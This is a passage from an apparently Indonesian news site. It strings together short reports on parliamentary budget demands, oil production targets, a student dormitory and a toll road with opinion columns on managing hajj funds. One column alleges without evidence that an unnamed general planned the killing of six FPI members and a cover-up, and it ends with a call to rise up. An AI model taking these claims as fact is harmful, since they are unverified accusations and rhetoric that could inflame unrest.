para anggotanya serta masyarakat sekitar untuk meningkatkan kualitasnya sebagai tenaga kerja dan mendapatkan keterampilan kerja. "Saya kira ini merupakan wujud konkret sinergi antara Pemerintah melalui Kementerian Ketenagakerjaan, salah satunya dengan lembaga pendidikan keagamaan non-pemerintah," ujarnya. (SWS)

Anggota DPR Minta KKP Evaluasi Penggunaan Anggaran

Jakarta, FNN - Anggota Komisi IV DPR, Renny Astuti, meminta Kementerian Kelautan dan Perikanan (KKP) untuk segera mengevaluasi penggunaan anggaran, terutama berkaitan program Kegiatan Prioritas KKP 2021, salah satunya berkaitan dengan budidaya ikan. "Saya ingin penggunaan anggaran KKP 2021 dievaluasi kembali. Kami ingin mereka yang menjadi sasaran dari program tersebut, harapannya, jadi bisa lebih aktif dan terus berproduksi di masa pandemi. Tentu ke depannya, bisa juga menggerakan perekonomian masyarakat," kata dia, dalam siaran persnya, di Jakarta, Selasa. Menurut dia, hal itu perlu jadi perhatian agar manfaat dari pelaksanaannya langsung dirasakan oleh masyarakat, khususnya pelaku usaha kelautan dan perikanan. Dalam rapat yang membahas evaluasi pelaksanaan APBN tahun anggaran 2020-2021 dan RKA-K/L sekaligus RKP-K/L tahun 2022 bersama Menteri Kelautan dan Perikanan, Sakti W Trenggono, di Gedung Nusantara, Senayan, Jakarta, Senin (7/6), Politisi Fraksi Partai Gerindra itu turut menyoroti soal usulan tambahan anggaran KKP tahun 2022 sebesar Rp8,043 triliun. Jika diperhatikan, rata-rata Penerimaan Negara Bukan Pajak sektor kelautan dan perikanan setiap tahunnya masih dinilai rendah, berkisar Rp600 miliar. "Ke depannya, saya ingin KKP segera menemukan strategi guna memacu PNBP tahun 2022," katanya. Pada kesempatan yang sama, ia pun mengingatkan agar KKP memperhatikan kesejahteraan para tenaga honorer, khususnya penyuluh daerah setempat. Bagi dia, tanpa penyuluh, program-program KKP tidak akan berjalan dengan efektif dan tepat sasaran. Perlu diketahui, peran penyuluh sangat penting dalam meningkatkan kapasitas pelaku usaha dan perikanan budidaya. Oleh karena itu, dia berharap Tranggono segara mengembangkan kelembagaan KKP di daerah dan meningkatkan kesejahteraan penyuluh perikanan. "Kami harap ke depannya Pak Menteri bisa lebih memperhatikan honor serta kesejahteraan para tenaga honorer seperti penyuluh. Tidak akan berjalan dengan efektif program itu, jika manusianya tidak diperhatikan," katanya. (SWS)

Pemerintah Perlu Perpres Terkait Target Sejuta Barel Minyak Per Hari

Jakarta, FNN - Anggota Komisi VII DPR RI Mulyanto, meminta Pemerintah mengeluarkan regulasi setingkat Peraturan Presiden dalam rangka mewujudkan target 1 juta barel per hari (bph) pada 2030. "Selama tidak ada Perpres maka bisa dibilang Pemerintah tidak serius mewujudkan target lifting 1 juta bph ini," kata Mulyanto dalam siaran pers di Jakarta, Selasa. Mulyanto menilai tanpa dasar hukum yang kokoh penetapan target lifting minyak yang dibuat SKK Migas hanya mimpi dan angan-angan, yang tidak bisa direalisasikan. Ia mendesak pemerintah agar mengeluarkan Perpres untuk mendukung penetapan target lifting minyak 1 juta bph tersebut agar komitmen atas target lifting minyak ini, bukan sekedar komitmen SKK Migas tetapi komitmen Pemerintah. Menurut dia, bila ingin mengejar target 1 juta bph pada 2030, maka paling tidak target lifting minyak pada 2022 harus ada di rentang 705-725 ribu bph. Berdasarkan data dari Kementerian ESDM, realisasi lifting minyak tahun 2020 sebesar 707 ribu bph, target lifting minyak tahun 2021 sebesar 705 ribu bph dan rencana target lifting minyak di 2022 sebesar 686–726 ribu bph. Sementara realisasi cost recovery pada tahun 2020 sebesar 8,12 miliar dolar AS perkiraan realisasi pada tahun 2021 sebesar 8,52 miliar dolar, sedang asumsi makro cost recovery untuk tahun 2022 sebesar 8,65 miliar. Sebelumnya, Pemerintah mengejar target produksi satu juta barel minyak per hari (BOPD) dan 12 miliar standar kaki kubik gas per hari (BSCFD) pada 2030 untuk menopang kebutuhan energi nasional. Dalam waktu sembilan tahun ke depan, pemerintah akan melakukan sejumlah upaya guna mewujudkan target tersebut mulai dari menyederhanakan izin pengusahaan wilayah kerja minyak dan gas nonkonvensional, transformasi sektor hulu migas, hingga mendatangkan investasi senilai 250 miliar dolar AS. "Dalam aturan baru nanti wilayah kerja eksisting dapat langsung melakukan eksplorasi maupun eksploitasi migas nonkonvensional tanpa kontrak baru," kata Direktur Jenderal Minyak dan Gas Bumi Kementerian ESDM Tutuka Ariadji. Pemerintah juga akan melaksanakan studi migas nonkonvensional di seluruh wilayah kerja aktif untuk menentukan potensi, lalu melakukan pengeboran produksi. Tutuka menjelaskan pemerintah akan memanfaatankan teknologi menggunakan multi-stage fractured horizontal (MSFH) sebagai proyek percontohan dengan estimasi biaya per sumur mencapai 22 juta dolar AS, yang diproyeksikan dapat memaksimalkan kegiatan eksplorasi dan ekspoitasi migas nonkonvensional. "Kami berharap dapat memperoleh data yang berguna melalui pengeboran ini," kata Tutuka. Merujuk data Kementerian ESDM, potensi migas nonkonvensional di Indonesia bersumber dari coal bed methane atau gas yang tersimpan di dalam batubara sebesar 453,30 triliun kaki kubik gas (TCF). Selain itu, terdapat juga potensi shale gas sebanyak 574 TCF. Shale gas merupakan gas yang terperangkap di batu serpih sebagai gas bebas yang mengisi pori-pori atau rekahan atau gas yang tersimpan di fragmen organik. (sws)

PUPR Gelontorkan Rp17,6 Miliar Bangun Rusun Mahasiswa Stisipol Kepri

Jakarta, FNN - Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) menggelontorkan anggaran sekitar Rp17,6 miliar dalam rangka membangun rumah susun (rusun) untuk mahasiswa Sekolah Tinggi Ilmu Sosial Ilmu Politik (Stisipol) Raja Haji di Kota Tanjung Pinang, Provinsi Kepulauan Riau. "Kami akan terus membangun rusun untuk generasi muda Indonesia agar mereka bisa belajar tinggal di hunian vertikal," kata Direktur Jenderal Perumahan Kementerian PUPR, Khalawi Abdul Hamid, dalam siaran pers di Jakarta, Selasa. Ia berharap rusun tersebut dapat menjadi pilihan tempat tinggal bagi mahasiswa, sekaligus meningkatkan kualitas pendidikan di daerah. Khalawi menerangkan saat ini lahan untuk hunian di daerah semakin berkurang seiring dengan pertambahan penduduk, karena itulah Kementerian PUPR bersama perguruan tinggi memaksimalkan lahan yang ada dengan membangun hunian vertikal. "Kami menilai kualitas pendidikan merupakan modal utama mencerdaskan bangsa. Untuk itu kami berharap dengan hunian vertikal ini, para mahasiswa bisa menarik minat generasi muda agar terbiasa tinggal di hunian vertikal dan lebih semangat menuntut ilmu," ucapnya. Sementara itu Kepala Balai Pelaksana Penyediaan Perumahan (P2P) Sumatera III Zubaidi menyatakan rusun Stisipol Raja Haji akan dibangun dengan berbagai fasilitas pendukung agar mahasiswa dapat belajar dan tinggal dengan nyaman. "Rusun Stisipol Raja Haji di Kepri akan dibangun dengan anggaran senilai Rp17,6 miliar. Kami juga akan menyediakan berbagai fasilitas pendukung seperti meubelair di dalamnya," kata Zubaidi. Pihaknya juga melaksanakan monitoring dan evaluasi di lapangan guna melihat langsung progres pembangunan rusun Stisipol Raja Haji. Berdasarkan hasil pengamatan di lapangan, saat ini telah dilakukan pematangan lahan, pekerjaan beton cor K300 kolom dan shear wall, pemasangan plumbing dan batu miring. Secara keseluruhan, lanjutnya, pembangunan rusun Stisipol Raja Haji masih berjalan dengan baik sesuai rencana dan diharapkan selesai pada akhir tahun ini. "Rusun Stisipol Raja Haji akan dibangun satu tower setinggi tiga lantai. Jumlah unit hunian yang disediakan sebanyak 43 unit tipe 24. Pembangunan rusun Stisipol Raja Haji ini diperkirakan membutuhkan waktu pembangunan selama 240 hari," paparnya. (sws)

Jasa Marga: Progres Pembebasan Lahan Tol Japek II Capai 86,62 Persen

Jakarta, FNN - PT Jasa Marga (Persero) Tbk melalui kelompok usahanya PT Jasamarga Japek Selatan (JJS) mengungkapkan progres pembebasan lahan Jalan Tol Jakarta-Cikampek atau Japek II telah mencapai 86,62 persen dengan progres konstruksinya 46,74 persen. Direktur Teknik PT JJS Bambang Sulistyo mengungkapkan pembangunan Jalan Tol Jakarta-Cikampek II Selatan dari Sadang (Kabupaten Purwakarta) hingga Setu (Kabupaten Bekasi) yang terintegrasi dengan jaringan Jalan Tol Purbaleunyi dan JORR 2 Jalan Tol Cimanggis-Cibitung, proses pembebasan lahan diprioritaskan pada lokasi Kabupaten Bekasi, Kabupaten Karawang, dan Kabupaten Purwakarta (Seksi 2 dan Seksi 3). “Jalan Tol Jakarta-Cikampek II Selatan memiliki panjang 62 km yang terdiri atas 3 Seksi, yaitu Seksi 1 mulai dari Jati Asih menuju Setu sepanjang 9,3 km, masuk ke dalam wilayah Kota Bekasi dan Kabupaten Bogor. Seksi 2 dari Setu menuju ke Taman Mekar sepanjang 24,85 km, masuk ke dalam wilayah Kabupaten Bekasi. Serta Seksi 3 dari Taman Mekar menuju Sadang sepanjang 27,85 km, masuk ke dalam wilayah Kabupaten Karawang dan Kabupaten Purwakarta,” ujar Bambang dalam keterangan tertulis yang diterima di Jakarta, Selasa. Hingga awal uni 2021 progres pembebasan lahan Jalan Tol Jakarta-Cikampek II Selatan Seksi 3 telah mencapai 86,82 persen, sedangkan progress konstruksinya mencapai 46,74 persen, dengan kumulasi pembebasan lahan dari ketiga seksi tersebut 51,51 persen. “Saat ini PT JJS terus mendukung upaya percepatan pembebasan lahan yang dilaksanakan oleh Tim Pejabat Pembuat Komitmen (PPK) Kementerian PUPR dalam melakukan identifikasi permasalahan pengadaan tanah di lapangan,” katanya. PT JJS juga terus berkoordinasi dengan PPK Pengadaan Tanah guna memperlancar pembayaran Uang Ganti Kerugian (UGK) kepada masyarakat atau pihak-pihak terdampak. “Seksi 3 ini menjadi harapan besar. Kami targetkan di tahun 2021 ini bisa rampung dari Sadang sampai Taman Mekar sepanjang 27,85 km. Tentu saja dengan catatan, pendanaan juga didukung penuh oleh Lembaga Manajemen Aset Negara (LMAN), terutama di tengah pandemi COVID-19 saat ini,” ujar Bambang. Jika sudah beroperasi penuh jalan Tol Jakarta-Cikampek II Selatan dengan investasi sebesar Rp14,69 triliun dan masa konsesi 35 tahun ini dapat memangkas waktu tempuh perjalanan dari Jakarta menuju Cikampek dari sisi selatan. (sws)

Audit Dana Haji, Menjawab Kegelisahan Umat

Masalahnya adalah soal kepercayaan jamaah dan rakyat pada umumnya. Bila berbicara pengelolaan uang, memori kolektif rakyat akan terganggu dengan maraknya kasus korupsi. Bila berbicara infrastruktur, memori kolektif itu terusik oleh fakta-fakta pembangunan infrastruktur yang tidak tepat sasaran. Ambil contoh satu saja, Bandara Kertajati, Jawa Barat yang sekarang tidak digunakan untuk penerbangan. Oleh Tamsil Linrung Jakarta, FNN - Sontak, kita semua kaget. Pengumuman Menteri Agama begitu mendadak. Tak sampai dua bulan jelang musim keberangkatan haji, Yaqut Cholil Qoumas mengetuk palu: tahun ini tak ada pemberangkatan jamaah haji. Seketika, masyarakat gundah, wabilkhusus calon jamaah haji. Gaduh tak dapat dihindari. Seperti biasa, media sosial menggeliat. Cerita lawas tentang dana haji untuk pembangunan infrastruktur kembali membuncah. Video-video lama diunggah, termasuk rekaman wawancara Wakil Presiden KH. Ma'ruf Amin yang menyinggung soal sukuk dan pemakaian dana haji bagi pembangunan infrastruktur. Tidak cuma itu. Netizen juga mengunggah ulang potongan pidato Presiden Joko Widodo di sebuah acara. "Kemarin juga sudah kita lantik Badan Pengelola Keuangan Haji (BPKH). Ini juga sebuah potensi yang sangat besar. Ada kurang lebih 80-90 triliun, yang ini kalau dimanfaatkan dengan baik, ditaruh di tempat-tempat yang memberikan keuntungan besar, juga akan mempercepat pembangunan negara kita," ujar Jokowi dalam video. Pernyataan itu seperti membenarkan spekulasi yang berkembang. Maklum, yang bicara adalah manusia paling punya otoritas, orang nomor satu dan dua di republik. Tentu omongannya tidak melantur, meski konteksnya bisa saja berbeda karena diambil di waktu yang berbeda dari situasi saat ini. Spekulasi menjadi semakin kuat ketika beberapa tokoh mensinyalr dengan gamblang. Ekonom Senior Rizal Ramli misalnya. Dalam sebuah tayangan video bersama Dedi Gumelar dan Gigin Praginanto, Rizal menyebut dana haji ditilep infrastruktur. Benarkah? Menjawab kegelisahan publik, Menteri Agama menyatakan dana haji aman. Begitu pula dengan Kepala Badan Pengelola Keuangan Haji (BPKH) Anggito Abimanyu. Mereka yang duduk di pemerintahan kompak menelurkan narasi serupa. Saat berkunjung ke kantor BPKH, Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan Muhadjir Effendy memastikan bahwa laporan yang diterima dari BPKH, dana haji sebesar 150 triliun tidak digunakan untuk pembangunan infrastruktur. Tak kurang, DPR juga menegaskan hal serupa. Namun, spekulasi tak surut, malah terlihat kian liar. Kesan ini muncul boleh jadi karena penjelasan pemerintah tidak disertai data akurat. Masyarakat agaknya semakin rasional. Mereka tak hanya mencerna kata, tapi juga memburu fakta. Terlebih di masa perkembangan teknologi informasi yang memungkinkan publik mencari tahu sesuatu dengan cepat. Bila kita membaca publikasi BPKH misalnya, dana haji disebut diinvestasikan dalam bentuk sukuk Surat Berharga Syariah Negara (SBSN) dan Sukuk Dana Haji Indonesia (SDHI). Dana yang diinvestasikan dalam bentuk sukuk negara masuk dalam keranjang umum Anggaran Pendapatan dan Belanja Negara (APBN). Dengan begitu, tidak ada yang bisa menjamin bahwa dana jamaah haji tidak digunakan untuk pembangunan infrastruktur. Kepala BPKH Anggito mengatakan, dana kelolaan haji digunakan untuk investasi dan penempatannya di bank syariah. Sebanyak 69,6 persen dana untuk investasi atau senilai Rp 99,53 triliun dan 30,4 persen penempatan di bank syariah atau senilai Rp 43,53 triliun. Di atas kertas, duit-duit jamaah memang tercatat dengan baik layaknya mekanisme perbankan pada umumnya. Ini hal yang wajar, sewajar Anda mendepositokan uang di bank, lalu merasa duit Anda aman, didukung bukti buku deposito. Soal duit itu ke mana dan digunakan untuk apa, itu bukan urusan nasabah, melainkan hak prerogatif pihak bank. Nah, sekarang, muncul pertanyaan kritis. Bagaimana bila nasabahnya adalah kumpulan calon jamaah haji di bawah BPKH? Apakah mereka tidak punya hak untuk mengetahui ke mana saja duit-duit itu mengalir? Pertanyaan itu mungkin terkesan mengada-ada. Namun dalam konteks syariah, ia punya logikanya sendiri. Duit haji adalah duit untuk beribadah sehingga pengelolaannya sebaiknya menghindari perkara yang samar alias syubhat. Syubhat bisa muncul karena banyak hal. Salah satunya adalah bercampurnya antara yang halal dan yang haram. Peluang syubhat memungkinkan terjadi ketika duit calon jamaah haji masuk dalam keranjang umum APBN. Bila sudah di sana, terbuka peluang dana jamaah haji bercampur dengan dana proyek-proyek yang bertentangan dengan syariah. Sebutlah pajak minuman keras, klub malam, dan lain-lain. Sebagai badan yang ditunjuk UU menerima amanat pengelolaan dana haji, BPKH sebaiknya peka dan mulai berpikir mengantisipasi kemungkinan-kemungkinan yang menjadi pencetus kegelisahan umat. Begitu pula dengan Kemenag. Saya tahu kepala BPKH Anggito Abimanyu cukup profesional. Dulu, saat menjadi Ketua Badan Anggaran DPR, saya sering berinteraksi dengannya, dalam kapasitas beliau sebagai Kepala Badan Kebijakan Fiskal. Entah bagaimana dengan menteri agama. Saya tak punya pengetahuan lebih. Yang jelas, baik Menag maupun BPKH, seharusnya tidak menjawab kegelisahan umat hanya dengan narasi uang mereka aman, tidak terpakai infrastruktur, dan seterusnya. Bahkan jika pun harus dipakai untuk infrastruktur, saya kira tidak masalah. Toh itu untuk kepentingan bangsa. Jadi, masalahnya tidak di sana. Masalahnya adalah soal kepercayaan jamaah dan rakyat pada umumnya. Bila berbicara pengelolaan uang, memori kolektif rakyat akan terganggu dengan maraknya kasus korupsi. Bila berbicara infrastruktur, memori kolektif itu terusik oleh fakta-fakta pembangunan infrastruktur yang tidak tepat sasaran. Ambil contoh satu saja, bandara kertajati, misalnya. Jadi, wajar kalau ada kekhawatiran di sana-sini. Psikologi rakyat harus dipahami dengan bijak. Kini, di tengah kisruh yang berkembang, adalah momentum yang sangat baik bagi Kemenag dan BPKH untuk menunjukkan kebenaran perkataannya. Rakyat tengah menanti dan agaknya mulai tak sabar. Di ruang publik, mulai menggema tuntutan audit dana haji oleh Badan Pemeriksa Keuangan RI dan konsultan dari kelompok Islam. Desakan itu cukup logis dan lahir dalam momentum yang tepat. Sudah semestinya pemerintah menyambut baik, agar spekulasi tidak berkembang lebih liar. Lagi pula, bila BPKH dan kemenag meyakini duit jamaah terkelola secara prudent, aman dan terkendali, seharusnya tidak ada beban di sana. Audit dana haji sekaligus menjernihkan semua soal. Pertama, dana calon jamaah haji dapat terpantau mengalir ke sektor mana saja. Pemilik dana tak lagi harus khawatir syubhat. Kedua, agar ada titik terang antara investasi dengan keuntungan. Selama ini pemerintah lebih banyak berbicara tentang duit jamaah yang diinvestasikan, tapi jarang berkomentar soal besaran nilai manfaat investasi yang telah diperoleh. Ketiga, dan ini yang paling penting, audit BPK menjadi solusi memulihkan kepercayaan dan dukungan penuh dari rakyat untuk mengelola dana haji mereka. Audit yang dimaksud adalah audit dengan tujuan tertentu yang tidak hanya ditujukan kepada BPKH tapi juga kepada Menteri Agama yang bertanggungjawab atas penempatan dana haji tersebut, termasuk bertanggungjawab dalam pembatalan keberangkatan haji tahun ini. Penulis adalah anggota DPD RI, Ketua Kerjasama Parlemen Indonesia dan Arab Saudi T2017.

Diduga Ada Jejak Jenderal di Pembantaian 6 Anggota Laskar FPI

by Tarmidzi Yusuf Bandung FNN - Hari ini, 7 Juni 2021 tepat enam bulan kasus pembantaian dan pembunuhan enam anggota laskar Front Pembela Islam (FPI). Belum juga ada titik terang terkait proses penegakan hukum terhadap para pelaku dan dalang kejahatan kemanusian dan politik tersebut. Diduga dalangnya adalah jenderal polisi yang dibantu jenderal tentara. Namun tidak mudah untuk dibuktikan Rumornya, tidak lama lagi akan terjadi promosi jendral tentara naik menjadi Kepala Staf Angkatan. Padahal seharusnya mereka ditangkap dan diadili. Indikasi rezim terlibat? Wallaahu Alam. Yang pasti hanya Allaah Subhaanahu Wata’ala, pelaku dan dalang yang mungkin tau persis. Sddebelumnya disampaikan pelakunya tiga anggota polisi dari Polda Metro Jaya. Namun salah satu diantara tiga anggota polisi yang menjadi tersangka tersebut sudah meninggal. Aneh lagi, pelaukunya sampai sekarang belum ditahan. Tidak juga diumumkan penyidik Badan Reserse Kriminal (Bareskrim) Polri ke publik. Entah apa pertimbangan Bareskrim. Apakah ketiga anggota polisi yang disebut-sebut Polisi sebagai tersangka itu pelaku pembunuhan yang sesungguhnya? Atau mereka bertiga hanya mau dijadikan sebagai “tumbal” dari kejahatan kemanusiaan dan kejahatan politik dari sang jenderal? Yang pasti pelakukanya sampai sekarang masih mesterius. Sudah menjadi tersangka. Namun publik tidak tau seperti apa mukanya. Penyidikan polisi terhadap kejadian pembunuhan atau pembantaian terhadap enam anggota laskar FPI di kilometer 50 tol Jakarta-Cikampek (Japek) ini, tidak berbeda dengan pelaku penyiraman air keras ke mata penyidik senior Komisi Pemberantasan Korupsi (KPK) Novel Baswedan. Bahkan Novel menduga ada jendral dibalik pelaku penyiramnan Mungkin saja ada tarik menarik antara tersaka versi Polisi dengan otak aktor dibalik pelaku pembunuhan enam laskar FPI. Ada ketakutan bila kedua polisi yang masih hidup sebagai tersangka tersebut akan “bernyanyi” di pengadilan kelak tentang kasus yang sebenarnya terjadi. Bisa berantakan semua alibi di pengadilan. Akibatnya dapat menyeret-nyaret jendral nantinya. Jangan-jangan pula, kedua polisi yang disebut-sebut sebagai tersangka akan mengikuti jejak rekannya, EPZ meninggal dunia awal tahun 2021. Satu dari tiga orang polisi yang telah ditetapkan sebagai tersangka bernama Elwira Priadi Zendrato meninggal dunia karena kecelakaan. Flashback kasus pembunuhan terhadap aktivis Hak Asasi Manusia (HAM), Munir Said Thalib tahun 2004. Munir meninggal karena diracun. Konon Pollycarpus Budihari Priyanto, pilot Garuda, bukan pelaku yang sebenarnya. Disebut-sebut pelaku yang sebenarnya seorang jenderal Angkatan Darat. Sampai kini, sang jenderal itu tak tersentuh hukum. Lagi-lagi namanya kembali disebut dalam tragedi kilometer 50. Berkaca dari kasus pembunuhan terhadap Munir Said Thalib, bisa saja ketiga polisi yang telah ditetapkan sebagai tersangka menjadi tumbal kejahatan kemanusiaan dan politik dari sang jenderal. Yang disebut-sebut berada di dalam Toyota Land Cruiser hitam saat kejadian di rest area kilometer 50 tol Japek. Saat ini, rest area itu sudah diratakan dengan tanah. Upaya menghapus jejak kejahatan sang jenderal? Diduga target pembunuhan yang sebenarnya adalah Imam Besar Habib Rizieq Shihab (HRS). Namun terlanjur dibocorkan oleh teman-teman HRS di jajaran intelijen, yang mengingatkan HRS agar kalau bepergian membawa anak-istri, disertai pengawalan yang ketat. Alhamdulillah Allah Subhanahu Wata'ala menyelamatkan IB HRS dan keluarga dari rencana keji dan tak berperikemanusiaan itu. Saat sang jenderal yang tidak tersentuh hukum dalam peristiwa pembantaian dan pembunuhan enam laskar FPI, justru berada dibalik penuntutan terhadap IB HRS dan menantunya oleh Jaksa Penunut Umum (JPU) selama 6 tahun dan 2 tahun penjara dalam kasus Rumah Sakit Ummi Bogor. Tragisnya, nasib Munarman setelah ditangkap Densus 88 pada 27 April 2021 lalu tak jelas dimana rimbanya. Kabarnya jenderal yang berbau bangkai bersama kelompok kiri radikal sedang merancang skenario “siram bensin” untuk membakar emosi ummat Islam. Caranya? Salah satunya diduga dengan melalui kaki tangan mereka mempengaruhi tuntutan jaksa terhadap IB HRS dan menantunya, Habib Hanif al-Athos dalam kasus RS Ummi. Tuntutan di luar nalar dan logika hukum. Bakal menyulut emosi pendukung IB HRS untuk bangkit dan bergerak dengan caranya sendiri. Ajakan kepung Kejaksaan Negeri di setiap kota dan kabupaten di seluruh Indonesia sudah banyak beredar di media sosial. Apalagi sang jenderal masih bebas berkeliaran memproduksi dan mempertontonkan ketidakadilan dan kedzaliman terhadap ummat Islam. Sementara pembantaian dan pembunuhan enam laskar FPI tidak diproses hukum sama sekali. Sepertinya sang jenderal dan kelompok kiri radikal sedang memancing emosi ummat Islam untuk bertindak anarkis dan rusuh. Jenderalnya sangat sombong. Merasa mentang-mentang TNI dan POLRI sudah dalam genggamannya. Pembantaian dan pembunuhan enam laskar FPI membuat ummat Islam terjaga dari tidur yang panjang. Ada yang tidak beres dengan Indonesia hari ini. Bangkit melawan atau diam ditindas! Penulis adalah Pegiat Da’wah dan Sosial.

Mempertanyakan Dana Haji

Masalahnya, jika sudah masuk dalam keranjang APBN, maka tidak ada yang bisa menjamin bahwa dana tersebut tidak digunakan untuk proyek-proyek pemerintah di bidang infrastruktur. Bahkan bukan itu saja, tetapi juga tak ada garansi bila dana itu tidak akan digunakan untuk membiayai proyek-proyek pemerintah lainnya. Termasuk proyek yang bertentangan dengan syariat Islam. by Tamsil Linrung Jakarta FNN - Keputusan pemerintah membatalkan pemberangkatan haji tahun 2021 adalah peristiwa besar. Bahkan bersejarah untuk negeri ini. Menyedot atensi rakyat hingga di kampung dan pelosok negeri. Maka jadi konsekuensi logis ketika rakyat mempertanyakan, dan berusaha menerka apa alasan sesungguhnya di balik pembatalan tersebut. Termasuk merambah ke soal dana haji. Haji, bagi umat Islam adalah penyempurna rukun Islam. Bagi masyarakat Indonesia, haji bukan sekadar simbol. Ritus sakral tersebut dan rangkaian kegiatan yang menyertainya telah menjelma sebagai produk budaya. Di kampung-kampung misalnya, “titel haji dan hajjah” amat sakral. Pelaksanaan ibadah haji, juga diikuti banyak seremoni. Yang paling merefleksikan betapa haji istimewa di hati umat Islam Indonesia, adalah berbagai upaya dilakukan umat untuk berangkat ke Tanah Suci. Termasuk rela antre. Menyetor uang puluhan juta, meski harus menunggu 45 tahun. Hal ini misalnya, dialami masyarakat di Kabupaten Bantaeng yang mendapat nomor antrean berangkat tahun 2065. Maka keputusan membatalkan pemberangkatan haji tahun ini sangat mengecewakan. Wajar bila kemudian rakyat bereaksi tidak biasa. Termasuk mempertanyakan di mana uang setoran mereka. Sebab, berembus kabar tidak sedap, jika dana setoran haji itu digunakan untuk pendanaan proyek infrastruktur. Penjelasan Kepala Badan Pengelola Keuangan Haji (BPKH), Anggito Abimanyu barangkali sedikit menenangkan publik. Bahwa dana haji dalam kondisi aman. “Kami mengelolanya dengan prudent dan profesional. Bisa dilihat di laporan audit BPK yang juga ada di website kami. Mohon dicek, apakah ada lokasi untuk infrastruktur? Ya, tidak ada,” demikian penjelasan Kepala BPKH tersebut. Secara normatif, penjelasan tersebut benar. Memang tidak ada investasi langsung dana haji ke dalam proyek infrastruktur pemerintah. Namun harus dipahami, bukan berarti dana haji tidak dipakai membiayai prasarana yang dibangun pemerintah. Dana haji, diinvestasikan di bank-bank syariah dan instrumen keuangan syariah lainnya. Misalnya, dalam bentuk pembelian surat utang berlabel syariah (Sukuk) yang diterbitkan oleh negara. Untuk Sukuk, dana haji diinvestasikan sebesar kurang lebih 60 persen. Kemudian didepositokan di bank-bank syariah sebesar 35 persen. Saat ini, jumlahnya sekitar Rp 160 triliun. Nah, melalui investasi Sukuk ini, dana haji masuk ke dalam keranjang umum APBN. Sementara itu dana lain yang diinvestasikan di Bank Syariah, pilihan paling amannya, juga nyaris pasti akan ditempatkan dalam bentuk Sukuk. Penempatan dalam bentuk Sukuk inilah yang paling aman dari kerugian karena mendapatkan penjaminan dari pemerintah. Konon dana Lembaga Penjaminan Simpanan (LPS) pun juga ikut diinvestasikan dalam bentuk Sukuk. Pertanyaannya, kenapa BPKH tidak secara langsung menempatkan semuanya sebagai Sukuk? Saya kira karena alasan untuk memudahkan jika sewaktu-waktu ada pencairan. Sebab, investasi Sukuk sifatnya jangka panjang. Hanya bisa ditarik atau dicairkan pada tenggat tertentu. Dana Infrastruktur Masalahnya, jika sudah masuk dalam keranjang APBN, maka tidak ada yang bisa menjamin bahwa dana tersebut tidak digunakan untuk proyek-proyek pemerintah di bidang infrastruktur. Bahkan bukan itu saja, tetapi juga tak ada garansi bila dana itu tidak akan digunakan untuk membiayai proyek-proyek pemerintah lainnya. Termasuk proyek yang bertentangan dengan syariat Islam. Misalnya, bercampur dana haji dengan penerimaan negara dari pajak tempat hiburan malam, klub malam, pelacuran, pajak minuman keras dan penerimaan bukan pajak (PNBP) lainnya. Sukuk, hingga utang luar negeri dan semua bentuk penerimaan lainnya masuk dalam keranjang APBN. Inilah yang mestinya menjadi dasar bahwa tidak ada jaminan dana haji tersebut untuk tidak digunakan dalam proyek pemerintah di bidang infrastruktur, bahkan di bidang apapun jika itu dibiayai APBN. Jika yang dikatakan, tidak ada penempatan secara langsung oleh BPKH, itu benar. Tetapi, tidak ada jaminan bahwa setelah masuk dalam keranjang umum APBN bahwa dana tersebut tidak digunakan untuk infrastruktur. Bahkan lebih dari itu, bisa saja digunakan untuk proyek-proyek yang bertentangan dengan syariat Islam sepanjang proyek tersebut dibiayai APBN. Saya lama berinteraksi dengan Kepala BPKH, Anggito Abimanyu. Ketika itu, beliau sebagai Kepala Badan Kebijakan Fiskal Kementerian Keuangan (BKF Kemenkeu) dan saya sebagai pimpinan Badan Anggaran DPR RI. Anggito sangat profesional dalam menjalankan tugas-tugasnya sebagai Kepala BKF. Saya yakin juga sama profesionalnya dalam posisinya sekarang sebagai Kepala BPKH. Sayangnya, Anggito tidak menjelaskan tentang dana-dana tersebut yang masuk ke dalam keranjang umum APBN dan pendistribusiannya yang sangat memungkinkan dialokasikan mengongkosi berbagai program pemerintah. Baik di bidang infrastruktur, maupun yang lainnya. Saya perlu menyampaikan penjelasan ini, agar kita tidak terbuai dan merasa sudah sangat aman. Bisa mencairkan keseluruhan dana haji tersebut kapan waktu saja. Ini keliru. Yang kita harapkan, mudah-mudahan dana cadangan sebesar dua kali pemberangkatan haji itu tetap tersedia. Artinya, ada dana sebesar Rp 31,5 triliun. Termasuk yang didepositokan di bank-bank syariah, yang sewaktu-waktu dapat dicairkan. Penarikan besar-besaran tentu berpotensi membuat bank syariah kesulitan likuiditas. Apalagi bank syariah kita tahu banyak pula yang mengandalkan Sukuk. Terlebih dalam situasi resesi ekonomi. Problemnya, penarikan Sukuk perlu waktu lama. Misalnya 10 tahun. Karena jangka waktu 10 tahun inilah yang menjanjikan keuntungan besar. Dari Sukuk, BPKH mendapatkan laba yang dikembalikan ke jemaah, kira-kira sebesar di atas Rp 10 triliun setiap tahun. Selain itu, BPKH juga dapat tambahan dana dari setoran jemaah calon haji yang antreannya diperkirakan sekitar 10 sampai 30 tahun kemudian baru bisa mendapatkan giliran berhaji. Apalagi dengan adanya tambahan jamaah baru dalam dua tahun ini. Paling tidak, ada dana segar dari satu juta calon jamaah haji. Ditambah 420.000 jamaah yang tidak berangkat. Salah satunya karena tahun ini pemerintah membatalkan pemberangkatan haji tanpa alasan yang transparan. Dari itu semua, mestinya ada tambahan setoran baru tidak kurang dari Rp 35 triliun di saku BPKH.** Penulis adalah DPD RI, dan Ketua Kerjasama Parlemen Indonesia dan Arab Saudi Tahun 2017.

Juliari Ubah Pola Bansos Karena Fee Tidak Mencapai Target

